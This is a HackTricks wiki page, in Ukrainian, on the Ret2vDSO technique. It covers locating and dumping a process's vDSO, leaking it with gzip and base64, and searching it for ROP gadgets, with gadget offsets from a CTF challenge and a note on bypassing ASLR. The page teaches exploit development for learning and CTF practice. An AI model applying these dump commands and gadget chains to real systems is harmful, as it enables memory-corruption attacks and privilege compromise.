Ret2vDSO

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

У регіоні vDSO може бути gadgets, це невеликий ELF DSO, змеплений ядром для забезпечення швидких user-space реалізацій деяких kernel helper-ів. У таких задачах зазвичай надають образ kernel, щоб дампнути vDSO регіон.

Знаходження бази vDSO і експортів

Адреса бази vDSO передається в auxiliary vector як AT_SYSINFO_EHDR, тому якщо ви можете прочитати /proc/<pid>/auxv (або викликати getauxval у допоміжному процесі), ви можете відновити базу без покладання на memory leak. Див. Auxiliary Vector (auxv) and vDSO для практичних способів отримання.

Після отримання бази обробляйте vDSO як звичайний ELF DSO (linux-vdso.so.1): дампніть mapping і використайте readelf -Ws/objdump -d (або kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) щоб розв’язати експортовані символи і шукати gadgets. На x86 32-bit vDSO зазвичай експортує __kernel_vsyscall, __kernel_sigreturn та __kernel_rt_sigreturn; на x86_64 типовими експортами є __vdso_clock_gettime, __vdso_gettimeofday та __vdso_time. Оскільки vDSO використовує symbol versioning, при розв’язанні символів співставляйте очікувану версію.

Слідуючи прикладу з https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ можна побачити, як вдалося дампнути секцію vdso і перемістити її на хост за допомогою:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets знайдено:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Caution

Зверніть увагу, що це може дозволити обійти ASLR, зловживаючи vdso, якщо ядро зкомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде рандомізована: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

Після дампу та перевірки секції vdso бінарника в kali 2023.2 arm64, я не знайшов там жодного цікавого gadget (неможливо контролювати регістри значеннями у stack або контролювати x30 для ret) окрім способу викликати SROP. Детальніше в прикладі на сторінці:

SROP - arm64

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks